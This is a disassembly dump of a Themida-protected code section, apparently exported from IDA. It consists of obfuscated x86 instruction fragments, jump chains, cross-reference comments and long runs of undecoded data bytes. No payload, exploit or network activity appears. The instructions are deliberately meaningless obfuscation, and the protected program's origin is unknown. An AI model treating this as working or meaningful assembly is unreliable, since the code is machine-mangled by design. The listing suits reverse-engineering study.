dd 88B4E964h, 1433FFFFh, 24143124h, 8B241433h, 0F662424h
dd 9C2404ABh, 0FEE5BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5645FD: ; CODE XREF: Themida_:00558BC0j
push ecx
mov ecx, 4
sub eax, 72F927F1h
add eax, ecx
push edi
jmp loc_557775
; ---------------------------------------------------------------------------
loc_564610: ; CODE XREF: Themida_:0056780Dj
mov bh, 18h
dec bh
jmp loc_55493B
; ---------------------------------------------------------------------------
loc_564619: ; CODE XREF: Themida_:00561E0Aj
sub [edi+20h], ecx
mov ecx, [esp]
add esp, 4
loc_564625: ; CODE XREF: Themida_:00554EC9j
; Themida_:00565249j
push dword ptr [esp]
jmp loc_564196
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0FF190BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564635: ; CODE XREF: Themida_:0055F52Fj
mov ebx, 60EB4724h
shr ebx, 1
shl ebx, 1
add ebx, 343F4280h
shl ebx, 5
dec ebx
add ebx, 964F199Dh
add eax, ebx
pop ebx
jmp loc_55C177
; ---------------------------------------------------------------------------
dw 0C681h
dd 340A128Dh, 0ACDFEE81h, 0C4E92421h
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564667: ; CODE XREF: Themida_:00563210j
add esp, 4
jmp loc_5582DD
; ---------------------------------------------------------------------------
dw 295Ah
dd 0CD015EF5h, 0FF0B58E9h, 6BDAB9FFh, 8151519Fh, 2B54242Ch
dd 5585F32h, 5F322B54h, 5A99E959h
db 2 dup(0FFh)
word_564696 dw 77FFh ; DATA XREF: Themida_:00552A14o
dd 59669D1Ch, 241CD366h, 0E515E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5646A6: ; CODE XREF: Themida_:00553F3Fj
neg edi
add edi, 17AB7C2Ch
push edx
mov edx, 1235DE41h
jmp loc_559054
; ---------------------------------------------------------------------------
db 0BDh, 0E6h, 50h
dd 0EF214102h, 48F7815Dh, 0E932B965h, 273Dh, 68240C89h
dd 990057Bh, 81240C8Bh, 4C4h, 0B8505200h, 3BFF294Eh, 19D9BE56h
dd 0E1E902CBh, 81FFFFA6h, 0C7F5CEAh, 0DE28155h, 0E9289846h
dd 0FFFF123Eh
; ---------------------------------------------------------------------------
loc_564700: ; CODE XREF: Themida_:00558A3Cj
pop ebp
jmp loc_565A5A
; ---------------------------------------------------------------------------
word_564706 dw 48Bh ; DATA XREF: Themida_:00552A6Co
dd 33E95724h, 29FFFFD4h, 0C875FF9h, 43E95C24h, 81FFFF49h
dd 0BC4AA0E2h, 2E2C117h, 2797E9h
db 0
byte_564729 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B34o
dd 4EC8324h, 89242C89h, 4C581E5h, 0E9000000h, 0FFFF21DAh
dd 8124048Bh, 4C4h, 40500h, 0C1680000h, 0E9000000h, 0FFFF30ACh
dd 2547E95Ah, 4890000h, 0E9F48824h, 0FFFFCB7Eh
; ---------------------------------------------------------------------------
loc_564768: ; CODE XREF: Themida_:00567DE6j
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edx
mov edx, 4
jmp loc_558E9E
; ---------------------------------------------------------------------------
db 83h
dd 1C8904ECh, 9BE95524h
db 76h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564787: ; CODE XREF: Themida_:005536D1j
xor [esp+4], ebp
pop ebp
mov ebp, [esp]
jmp loc_55A06F
; ---------------------------------------------------------------------------
dd 9001E981h, 0E1817DB4h, 26F26A6Ch, 0F702E1C1h, 0AEE949D1h
dd 89FFFF6Fh, 8CC8E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5647B2: ; CODE XREF: Themida_:0055A598j
mov esp, [esp]
movsx ecx, al
sub esp, 4
mov [esp], eax
jmp loc_55798A
; ---------------------------------------------------------------------------
byte_5647C3 db 54h ; DATA XREF: Themida_:0055291Co
dd 0E92434FFh, 0FFFFF35Ah
; ---------------------------------------------------------------------------
loc_5647CC: ; CODE XREF: Themida_:00563D69j
add esp, 4
pop dword ptr [esp]
push 1Fh
mov [esp], eax
xchg edx, [esp]
not edx
xchg edx, [esp]
push dword ptr [esp]
pop eax
add esp, 4
xchg eax, [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], eax
jmp loc_553654
; ---------------------------------------------------------------------------
loc_564801: ; CODE XREF: Themida_:0055372Aj
pop esp
push 3969h
mov [esp], ebp
mov ebp, 5F2035AFh
push ecx
mov ecx, 1ABF1527h
neg ecx
sub ecx, 0AC67E087h
jmp loc_55E28F
; ---------------------------------------------------------------------------
loc_564822: ; CODE XREF: Themida_:0055704Cj
mov ebp, ecx
pop ecx
xor ebx, ebp
jmp loc_55E983
; ---------------------------------------------------------------------------
dd 15BEF581h, 0A6E9285Fh
db 80h, 2 dup(0FFh)
byte_564837 db 66h ; DATA XREF: Themida_:005529C4o
dd 68240C8Bh, 20E2h, 89241C89h, 0CC2FE9E3h, 0F781FFFFh
dd 7A506ACAh, 4FFEF81h, 0FD29458Fh, 83243C8Bh, 0E80104C4h
dd 83242C8Bh, 0BB5304C4h, 0E4A1Dh, 0DBF7E3D1h, 8107E3C1h
dd 4270A2EBh, 5E3C12Ch, 4785F381h, 0D801B70Eh, 686F685Bh
dd 34890000h, 0CEBF5724h, 83647C4Fh, 0C781FFC7h, 6C675083h
dd 8108E7C1h, 7C4F58C7h, 0AAC78113h, 531267FCh, 0FF5CADE9h
dd 4C481FFh, 0E9000000h, 1C43h, 78AE958h, 48B0000h, 0E5AFE924h
dd 0EB80FFFEh, 0E9D30097h, 0FFFF99A8h, 5C242C87h, 0FFD47DE9h
dd 815F54FFh, 4C7h, 80B85000h, 0C16F1B45h, 0D60504E0h
dd 572CD924h, 7BC3B850h, 0C7891235h, 0F09DE958h, 0C581FFFFh
dd 0FFFFFFFFh, 57BF5750h, 0B85EB35Ch, 5EE33189h, 525FF831h
dd 0D14C22BAh, 5FF2810Bh, 425C6015h, 0FF0E7DE9h, 24048FFFh
dd 8924248Bh, 0E2892414h, 4C281h, 58680000h, 8900001Ch
dd 2B82404h, 1000000h, 148758C2h, 24D35C24h, 4AE99C24h
dd 81FFFFF6h, 4C2h, 0EAC8E900h, 0EE81FFFEh, 85A78B0h, 5EF0295Dh
dd 0BDE95455h, 89FFFF44h, 0CF295BD9h, 0FF2C59E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56497D: ; CODE XREF: Themida_:0055EFE0j
push 7200h
mov [esp], edi
sub esp, 4
mov [esp], esi
push 43111E55h
pop esi
xor esi, 43111E51h
jmp loc_5681B1
; ---------------------------------------------------------------------------
loc_56499F: ; CODE XREF: Themida_:0055F64Cj
add esp, 4
not ah
push ebx
jmp loc_55DDA0
; ---------------------------------------------------------------------------
dw 34FFh
dd 0BA70E924h, 0C7FEFFFFh, 0FFD317E9h, 4C483FFh, 5C243C87h
dd 4EC8155h, 89000000h, 7AE92424h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5649CF: ; CODE XREF: Themida_:00562918j
add ebp, edx
jmp loc_560B47
; ---------------------------------------------------------------------------
dw 0E0C1h
dd 6E0C103h, 0E29EE995h, 0BD55FFFEh, 241809BFh, 2C8BEB89h
dd 4C48124h, 81000000h, 0E72C04CBh, 7E3C14Ah, 2BFFF381h
dd 0BF576A9Dh, 1BC529AAh, 11C7E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564A0E: ; CODE XREF: Themida_:005601D9j
sub esp, 4
mov [esp], edx
jmp loc_560ACA
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 5
dd 0A1F6C281h, 1BE92AD7h
db 6Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564A27: ; CODE XREF: Themida_:00564123j
add esp, 4
push edi
push 4
mov edi, [esp]
add esp, 4
add eax, 1E563ED0h
sub eax, edi
sub eax, 1E563ED0h
pop edi
jmp loc_567230
; ---------------------------------------------------------------------------
loc_564A4E: ; CODE XREF: Themida_:0055475Bj
push eax
push ebp
mov ebp, 39334B56h
neg ebp
dec ebp
xor ebp, 0C901EA7Ah
mov eax, ebp
pop ebp
sub ebx, eax
pop eax
add edx, ebx
pop ebx
add edx, 4
jmp loc_563118
; ---------------------------------------------------------------------------
loc_564A72: ; CODE XREF: Themida_:00563A30j
add esi, ecx
jmp loc_553ED2
; ---------------------------------------------------------------------------
byte_564A79 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005529ECo
aHH db '$hжh',0
align 2
dw 3C89h
dd 0C0D6824h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch
dd 0E9243C8Bh, 0FFFEEE5Bh, 241C895Ch, 0FFACD3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564AA9: ; CODE XREF: Themida_:0056363Ej
sub ebx, 6B237748h
inc ebx
shr ebx, 7
inc ebx
shl ebx, 3
sub ebx, 0A618E4A1h
add esi, ebx
pop ebx
mov edi, esi
pop esi
jmp loc_5672C1
; ---------------------------------------------------------------------------
dd 0FA88EF88h, 305B595Bh, 14322414h, 0D944E924h, 0C281FFFFh
dd 76703E89h, 565AD531h, 0D27215BEh, 2E6C10Dh, 6B7EC681h
dd 0BF5727C8h, 407E7C79h, 0E7C1DFF7h, 0ECADE908h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564B02: ; CODE XREF: Themida_:00562CCDj
or eax, eax
jz loc_566AE4
push dword ptr [edi+1Ch]
push ecx
mov ecx, 128F2FCEh
xor [esp+4], ecx
jmp loc_561D79
; ---------------------------------------------------------------------------
dd offset dword_567268
dd 24348900h, 0C6815E54h, 4, 4EE81h, 0C6E90000h, 5EFFFEE6h
dd 0FEE299E9h, 0B4BE56FFh, 2926DC16h, 0BF575EF0h, 3B5068F0h
dd 3697E9h, 0F8CB8100h, 52536753h, 520EA6BAh, 97C28178h
dd 0E9249E40h, 0FFFEE104h, 5759CE21h, 6A0333BFh, 6E7C10Eh
dd 6E1AE781h, 0E7C171D0h, 0EE30E906h, 1C8BFFFFh, 4C48124h
dd 2C000000h, 0ECACE9E5h, 4401FFFEh, 6C810424h, 7B900424h
dd 56582BD0h, 7D719DBEh, 4C58E94Ah, 0EC81FFFFh, 4, 54243C89h
dd 4C7815Fh, 0E9000000h, 0FFFFF2BCh, 5F0295Fh, 5E9A5A48h
dd 67E9525Eh, 58FFFF1Dh, 0FF3645E9h, 7CE943FFh
db 9, 2 dup(0)
byte_564BDB db 0FFh ; DATA XREF: Themida_:005528DCo
dd 669D1C77h, 14D36659h, 0A6E99C24h
db 36h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564BEB: ; CODE XREF: Themida_:00558E0Bj
add esi, 4
jmp loc_55911F
; ---------------------------------------------------------------------------
dw 0D389h
dd 0E9D9015Ah, 0FFFEF2F8h
; ---------------------------------------------------------------------------
loc_564C00: ; CODE XREF: Themida_:0055899Ej
add edi, ebx
pop ebx
sub edi, ebp
sub edi, 5324191Dh
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_554517
; ---------------------------------------------------------------------------
db 81h
dd 0C07343E3h, 46F3813Fh, 1020040h, 0EA815BDAh, 4, 0E9241487h
dd 0FFFFCC56h, 0B8240489h, 4, 0E958C701h, 0FFFFCD5Bh, 5C241487h
dd 0E92434FFh, 0FFFFFF7Fh
; ---------------------------------------------------------------------------
loc_564C50: ; CODE XREF: Themida_:005672E6j
push eax
push 4
pop eax
jmp loc_55AB81
; ---------------------------------------------------------------------------
dd 4247C29h, 2404815Fh, 4A7D719Dh, 0F9242C81h, 5B1E027Bh
dd 8904EC83h, 42682404h, 585750B2h, 9BE6E957h, 1C33FFFFh
dd 659CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564C8A: ; CODE XREF: Themida_:005585F8j
xor [esp+4], ebp
pop ebp
pop edx
xor edx, 2B6F5B60h
mov ebx, [esp]
jmp loc_55BDA8
; ---------------------------------------------------------------------------
dw 15Fh
dd 495AE9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564CA6: ; CODE XREF: Themida_:0055F301j
sub ebp, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push edi
mov edi, 53534407h
push esi
jmp loc_5659CE
; ---------------------------------------------------------------------------
byte_564CC3 db 0ADh ; DATA XREF: Themida_:005529D0o
dd 0E904EC83h, 0FFFF1626h
; ---------------------------------------------------------------------------
loc_564CCC: ; CODE XREF: Themida_:0056739Bj
mov esp, [esp]
push 6A28h
mov [esp], edx
push 0F41h
mov [esp], ebp
mov ebp, 7B5F4544h
not ebp
not ebp
sub ebp, 6FA90E74h
sub ebp, 9299DBACh
jmp loc_55C6E6
; ---------------------------------------------------------------------------
db 31h, 0Ch, 24h
dd 0FEF83BE9h, 46E950FFh
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564D07: ; CODE XREF: Themida_:0055E484j
push ebx
push 5464h
mov [esp], edi
mov edi, 19D525E7h
jmp loc_5622AF
; ---------------------------------------------------------------------------
dw 0EABBh
dd 4B781452h, 58BA5243h, 93C4744h, 0F3815AD3h, 32E83EFCh
dd 3340E381h, 44E970C1h
db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564D3B: ; CODE XREF: Themida_:00562B75j
lea eax, [edi+eax*4]
jmp loc_568055
; ---------------------------------------------------------------------------
aFyaSi db 'fY─б╟И╗',7,0
dd 0EB815D00h, 0C3D1BE09h, 8B5BDE01h, 0C481242Ch, 4, 79B668h
dd 241C8900h, 0FF479DE9h, 5AD030FFh, 4BE9C300h, 5AFFFFD7h
dd 4C281h, 0BE560000h, 2A0C49F2h, 33E9h, 0B5BA5200h, 1BF0008h
dd 0B7E95AD6h
db 8Ah, 2 dup(0FFh)
byte_564D97 db 66h ; DATA XREF: Themida_:00552B60o
dd 0E9240C8Bh, 0FFFF3B61h, 6850E189h, 7320h, 0BE243489h
dd 0F164501h, 164505B8h, 0E9F0310Fh, 0FFFF56D8h, 2AB0CE81h
dd 0EE815D46h, 7F4E6BEEh, 0E95EF201h, 0FFFF7CB6h, 547768h
dd 240C8900h, 0FB7716B9h, 0E9CF29FCh, 0FFFF3AC0h, 0C381C329h
dd 44574A9Fh, 4F59C381h, 0E9574846h, 0FFFFD5AEh, 0E92434FFh
dd 0FFFFA69Ah
; ---------------------------------------------------------------------------
loc_564E00: ; CODE XREF: Themida_:00566CB3j
push esi
jmp loc_55BFE0
; ---------------------------------------------------------------------------
loc_564E06: ; CODE XREF: Themida_:00565892j
add ecx, esi
pop esi
jmp loc_566047
; ---------------------------------------------------------------------------
dw 0C501h
dd 5819C581h, 87586FB1h, 555C242Ch, 4BDh, 0C768E900h, 295AFFFFh
dd 243C8BFBh, 8104C483h, 4ECh, 241C8900h, 42474FFh, 0E92434FFh
dd 24CDh
; ---------------------------------------------------------------------------
loc_564E44: ; CODE XREF: Themida_:005670E5j
not edx
xor edx, 0DCD1DA92h
add ebx, edx
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov eax, edx
jmp loc_553AAD
; ---------------------------------------------------------------------------
dw 4F35h
dd 896C6D69h, 0F70158C7h, 1F86E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564E72: ; CODE XREF: Themida_:0056542Aj
add edi, 15CC63AAh
add ebp, edi
pop edi
shl ebp, 4
xor ebp, 0E10651D1h
sub esp, 4
mov [esp], ecx
mov ecx, ebp
push esi
push ebp
mov ebp, ecx
mov esi, ebp
pop ebp
mov eax, esi
mov esi, [esp]
jmp loc_553EC1
; ---------------------------------------------------------------------------
db 89h, 0F0h, 0E9h
dd 0FFFF3931h, 0E4E95358h, 81FFFFCCh, 173B2FC9h, 0E1C14112h
dd 0C7F18108h, 81C79B9Ch, 0D40D7CEEh, 0EDFCE90Ch, 0C381FFFFh
dd 4, 4EB81h, 1C870000h, 4895C24h, 44E95324h
db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564EDF: ; CODE XREF: Themida_:0055FBF6j
sub esp, 4
jmp loc_554884
; ---------------------------------------------------------------------------
byte_564EE7 db 66h ; DATA XREF: Themida_:00552AC8o
dd 5124048Bh, 0FF1149E9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
jmp loc_56532E
; ---------------------------------------------------------------------------
dw 0D6F7h
dd 0FFCCA7E9h, 0E6C15EFFh, 1AE68104h, 81527958h, 5F359BC6h
dd 5EF08916h, 48BC231h, 4C48124h, 81000000h, 0B87A9EEAh
dd 5AD3014Fh, 555BDA01h, 2BDh, 8BEA0100h, 5453242Ch, 1F7BE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564F3E: ; CODE XREF: Themida_:0055A3DFj
and ebx, 5297C18h
shl ebx, 8
and ebx, 14370FDh
sub ebx, 0FB75C740h
sub edi, ebx
pop ebx
add edi, 7406116Bh
sub ebx, edi
pop edi
xor ebx, 3AB18088h
and eax, ebx
mov ebx, [esp]
push esi
jmp loc_559C98
; ---------------------------------------------------------------------------
dd 8104C483h, 4C4h, 1A71E900h, 2C890000h, 2A19BD24h, 0E82178A2h
dd 0F5F3055Dh, 0B951A7DDh, 53775B5Dh, 66E5E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564F9A: ; CODE XREF: Themida_:005657B8j
add eax, 4
sub eax, 4
jmp loc_55C69F
; ---------------------------------------------------------------------------
db 1
dd 68DA05C8h, 0C8B67E6h, 2BEDE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_564FB6: ; CODE XREF: Themida_:005538B2j
sub eax, edx
pop edx
add eax, 5C0F742Eh
add eax, ecx
sub eax, 5C0F742Eh
jmp loc_55CEDD
; ---------------------------------------------------------------------------
dw 3B68h
dd 89000063h, 0B9BD242Ch, 0E931F920h, 0FFFEE6FAh, 7AD5C181h
dd 6AE97A9Fh, 2DFFFF60h, 44E1344Fh, 2404335Ah, 0E9240431h
dd 0FFFF8BD7h, 5548CB81h, 0EBC1107Ah, 1FA4E905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565006: ; CODE XREF: Themida_:0055FADBj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
movsx ecx, ax
push 3DA3h
mov [esp], edx
push esp
jmp loc_55CC31
; ---------------------------------------------------------------------------
loc_565023: ; CODE XREF: Themida_:00554DFCj
mov ebx, 6BA03313h
mov edx, 0EB5236B2h
add edx, 0AF70058h
add edx, 36013289h
add edx, ebx
sub edx, 36013289h
sub edx, 0AF70058h
jmp loc_560B5F
; ---------------------------------------------------------------------------
dd 0E98CB151h, 0FFFFCB5Dh, 66EDD166h, 6607EDC1h, 28BF6657h
dd 0C06BE93Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565066: ; CODE XREF: Themida_:0055AA85j
add edx, eax
mov eax, [esp]
add esp, 4
mov ebp, [esp]
push edx
mov edx, esp
push edi
mov edi, 4
jmp loc_55750F
; ---------------------------------------------------------------------------
dw 0D989h
dd 0D9F7415Bh, 1C65C181h, 0F18101D2h, 0B33BBD66h, 368EF81h
dd 0CF0148F3h, 368C781h, 3DE948F3h
db 2, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5650A7: ; CODE XREF: Themida_:00558BDFj
sub edi, 3F921D03h
mov ebx, [esp]
add esp, 4
jmp loc_5656B3
; ---------------------------------------------------------------------------
loc_5650B8: ; CODE XREF: Themida_:00564586j
mov [esp], ebx
push 1
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_565E87
; ---------------------------------------------------------------------------
db 1, 0EFh, 81h
dd 9A18F6C7h, 0C2B9E966h, 0C605FFFFh, 8B500A28h, 0C481243Ch
dd 4, 6F05C801h, 53B3724h, 1DB31BF5h, 0FFC16AE9h, 2DD801FFh
dd 664C1E7Bh, 251E162Dh, 241C8B0Bh, 5704C483h, 2BFh, 5FF80100h
dd 2474FF50h, 4253E904h, 0D831FFFFh, 0E92434FFh, 0FFFFEB2Bh
dd 181C26BFh, 0D7F74F00h, 5206EFC1h, 6B2DFCBAh, 87EA8755h
dd 0E9D387DDh, 0FFFF736Ah, 0E9240489h, 27CFh, 0ECC061B4h
dd 80DCF603h, 0F48059F4h, 58E62850h, 0D068E680h, 1FCE80E6h
dd 456EE80h, 0B65266ACh, 66F028FEh, 0B353665Ah, 66D8005Dh
dd 2CF0005Bh, 66FE045Dh, 28ACB151h, 0E95966C8h, 0FFFF4205h
; ---------------------------------------------------------------------------
loc_565190: ; CODE XREF: Themida_:0055BB92j
pop edx
mov dh, cl
pop ecx
push ebx
jmp loc_556E77
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 54F65066h, 58660124h, 80EAEC80h, 9BE9B0CCh
dd 53FFFFBCh, 88E18851h, 0F98859CFh, 0CF88585Bh, 1DB2E9h
dd 21685C00h, 8900004Fh, 74FF2404h, 8F580424h, 0E95C2404h
dd 0FFFFDBA4h, 8124348Bh, 4C4h, 0FEF68100h, 8B3BA15Dh
dd 0C481243Ch, 4, 34FFF001h, 24348B24h, 4C481h, 0C4830000h
dd 0F5EB8104h, 0E9028167h, 0FFFF36A9h, 0DDF7D5F7h, 0FF31E3E9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_561C95
; ---------------------------------------------------------------------------
loc_565221: ; CODE XREF: Themida_:0055A17Aj
add esp, 4
push ebx
sub dword ptr [esp], 6D1748BDh
pop ebp
push eax
mov eax, 0A383A4Fh
shl eax, 8
or eax, 0C9F7B5Dh
push edx
push ebp
jmp loc_555079
; ---------------------------------------------------------------------------
loc_565245: ; CODE XREF: Themida_:005598B9j
shr edx, 1
cmp eax, edx
jz loc_564625
push 7143h
mov [esp], ebx
mov ebx, 4DF64099h
shr ebx, 2
push ecx
mov ecx, 30A56FCh
xor ecx, 4DC17020h
shr ecx, 3
xor ecx, 10413902h
add ebx, 59DA7294h
sub ebx, ecx
sub ebx, 59DA7294h
pop ecx
push esi
mov esi, 39C21A9Dh
inc esi
jmp loc_561DCD
; ---------------------------------------------------------------------------
db 5Eh
dd 0FF0031E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565295: ; CODE XREF: Themida_:00562070j
push 2A51h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 4D8F5940h
push edx
jmp loc_55ACF5
; ---------------------------------------------------------------------------
loc_5652B8: ; CODE XREF: Themida_:00566D9Ej
mov edx, 2BB87A85h
shr edx, 7
neg edx
neg edx
and edx, 6D259FCh
jmp loc_55C9CF
; ---------------------------------------------------------------------------
off_5652CF dd offset loc_551667+1 ; DATA XREF: Themida_:00552914o
align 4
dd 7D2568h, 4EC8100h, 54000000h, 8124048Fh, 4ECh, 24348900h
dd 0FF289DE9h, 2EC83FFh, 0FF823DE9h, 0EBE95BFFh
db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5652FF: ; CODE XREF: Themida_:0055799Dj
sub edx, 1
xchg ebx, edx
not ebx
xchg ebx, edx
push edi
mov edi, 0
jmp loc_557C5E
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 4BEh, 8BF72900h, 0C4832434h, 7296E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56532E: ; CODE XREF: Themida_:00564EF5j
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_55F816
; ---------------------------------------------------------------------------
db 89h
dd 0B8E95BDDh
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_565343: ; CODE XREF: Themida_:0055DFEEj
push ecx
jmp loc_56408B
; ---------------------------------------------------------------------------
db 31h, 0D7h, 8Bh
dd 89572414h, 4C781E7h, 83000000h, 3C8704C7h, 3CE95C24h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565363: ; CODE XREF: Themida_:00563789j
pop ebx
add eax, ecx
pop ecx
push dword ptr [esp]
mov esi, [esp]
jmp loc_566873
; ---------------------------------------------------------------------------
dw 48Fh
dd 24248B24h, 0FEE593E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56537D: ; CODE XREF: Themida_:00554898j
mov eax, 70AC3DDDh
not eax
sub eax, 7C3A65BDh
dec eax
shl eax, 4
neg eax
sub eax, 0CE6A39BCh
mov ebp, eax
jmp loc_55B7BE
; ---------------------------------------------------------------------------
loc_56539B: ; CODE XREF: Themida_:00564152j
push 0C0Bh
mov [esp], edi
jmp loc_55BE35
; ---------------------------------------------------------------------------
dd 0B19BE951h, 0DBF7FFFFh, 442EB81h, 0C5E94D61h
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5653BB: ; CODE XREF: Themida_:0056306Aj
push bx
push eax
mov al, 0B4h
or al, 0FAh
add al, 3Dh
mov bh, al
jmp loc_567F4D
; ---------------------------------------------------------------------------
db 5Eh
dd 8EE9F001h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_560FEE
; ---------------------------------------------------------------------------
loc_5653DB: ; CODE XREF: Themida_:00556704j
mov esi, esp
jmp loc_56586C
; ---------------------------------------------------------------------------
dw 0D8F7h
dd 1A65E305h, 0E9C7016Ah, 0FFFEF319h, 5624148Bh, 0C681E689h
dd 4, 4C681h, 34870000h, 24248B24h, 1C8BD830h, 59545124h
dd 4C181h, 0C1810000h, 4, 0FEFF02E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565421: ; CODE XREF: Themida_:005556A1j
add ebp, 866280B3h
and edi, ebp
pop ebp
jmp loc_564E72
; ---------------------------------------------------------------------------
byte_56542F db 0ADh ; DATA XREF: Themida_:00552A54o
dd 0EC83D831h, 24148904h, 4CE068h, 2404E900h, 0C5810000h
dd 18783818h, 0FF5228E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56544D: ; CODE XREF: Themida_:0055CA19j
push ecx
jmp loc_560D3B
; ---------------------------------------------------------------------------
db 89h
dd 8B68240Ch, 89000052h, 0FAE92424h, 5FFFFF8Ch, 735AC381h
dd 0B6E944C9h, 81000003h, 0CA7CF4C7h, 81CF013Ch, 0CA7CF4EFh
dd 52EF813Ch, 68558B72h, 4093h, 68242C89h, 11C95689h, 81242C8Bh
dd 4C4h, 5DEF0100h, 0A68FDh, 0BEE90000h, 89FFFF21h, 0E589242Ch
dd 4C581h, 0C5810000h, 4, 5C242C87h, 0E94FFA87h, 0FFFF79BCh
dd 0E95DE889h, 54Ch, 0E9240487h, 0FFFF7765h
; ---------------------------------------------------------------------------
loc_5654D4: ; CODE XREF: Themida_:00555D81j
push edx
mov edx, 590864DFh
dec edx
xor edx, 23C77E1Fh
dec edx
jmp loc_56388B
; ---------------------------------------------------------------------------
loc_5654E7: ; CODE XREF: Themida_:0055D681j
add esp, 4
add esp, 4
push ebx
mov ebx, esp
jmp loc_55D89F
; ---------------------------------------------------------------------------
a0St db '0тИT',1Bh,0
align 4
dd 4EC81h, 1C890000h, 0D804E924h, 0F729FFFFh, 0FEF495E9h
dd 749FBBFFh, 0EB811F52h, 16EC6C45h, 2068C381h, 0FFE951B8h
dd 50FFFF1Dh, 0F480FAB4h, 0A2C480E8h, 0E951E4D0h, 0FFFF8DADh
dd 4E9DE01h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56553F: ; CODE XREF: Themida_:00553BBAj
pop ebx
push 56C4h
mov [esp], eax
mov eax, 4
add ebx, eax
pop eax
push ebp
push ecx
jmp loc_55F6F0
; ---------------------------------------------------------------------------
db 81h
dd 21E422EBh, 14F753D7h, 0C3815B24h, 692D017Dh, 917AB02Dh
dd 19D12D41h, 0D8013CBBh, 0BB19D105h, 7AB0053Ch, 0ADE94191h
dd 5F000026h, 2E768h, 6942E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56558E: ; CODE XREF: Themida_:00554AE8j
add esp, 4
push 48D6h
mov [esp], edx
push ebx
mov ebx, 57731097h
jmp loc_5546A3
; ---------------------------------------------------------------------------
db 5Ch
dd 9C2424D2h, 0FED60AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5655B1: ; CODE XREF: Themida_:00557F15j
or ebx, 7FF36B43h
add ebx, 80049409h
jmp loc_556AEB
; ---------------------------------------------------------------------------
loc_5655C2: ; CODE XREF: Themida_:005558BCj
mov esp, [esp]
jmp loc_56206D
; ---------------------------------------------------------------------------
loc_5655CA: ; CODE XREF: Themida_:0055D148j
and eax, edx
mov edx, [esp]
push eax
push esp
jmp loc_5667CA
; ---------------------------------------------------------------------------
dw 483h
dd 48F0424h, 444BE924h, 0EC83FFFFh, 14896602h, 3C876624h
dd 0D7F76624h, 243C8766h, 24148B66h, 2A31E9h
db 0
byte_5655FD db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:005528F8o
dd 0FED5B6E9h, 241C8BFFh, 4C481h, 0EA310000h, 5AD5015Dh
dd 533DB951h, 0E1C170D0h, 2E9C104h, 5504E9C1h, 9EF864BDh
dd 5DE9014Eh, 8159CD01h, 0FEABEEDh, 0B0C6819Fh, 81085A78h
dd 322CE5EEh, 81EE0126h, 322CE5C6h, 0F314E926h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56564E: ; CODE XREF: Themida_:00566CF3j
add dword ptr [esp+8], 4CED7C9Ch
pop esi
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_5627AC
; ---------------------------------------------------------------------------
dw 84BAh
